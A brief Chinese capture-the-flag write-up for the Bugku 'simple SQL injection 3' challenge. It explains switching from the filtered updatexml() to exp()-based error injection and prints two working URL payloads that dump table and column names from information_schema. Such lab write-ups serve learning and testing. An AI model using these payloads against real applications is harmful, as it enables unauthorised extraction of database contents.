简单的sql注入之3 exp函数的使用
bugku – 简单的sql注入之3
用 1‘试了试,报错,让后1“回显正常。应该是单引号。既然报错,就试了试updatexml()这个函数,但发现被过滤了,所以用exp()这个函数,这里附上一些常见的报错函数:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
给出payload:
表名:
?id=1' and exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a))%23
字段名:
?id=1' and exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_schema=database())a))%23




本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
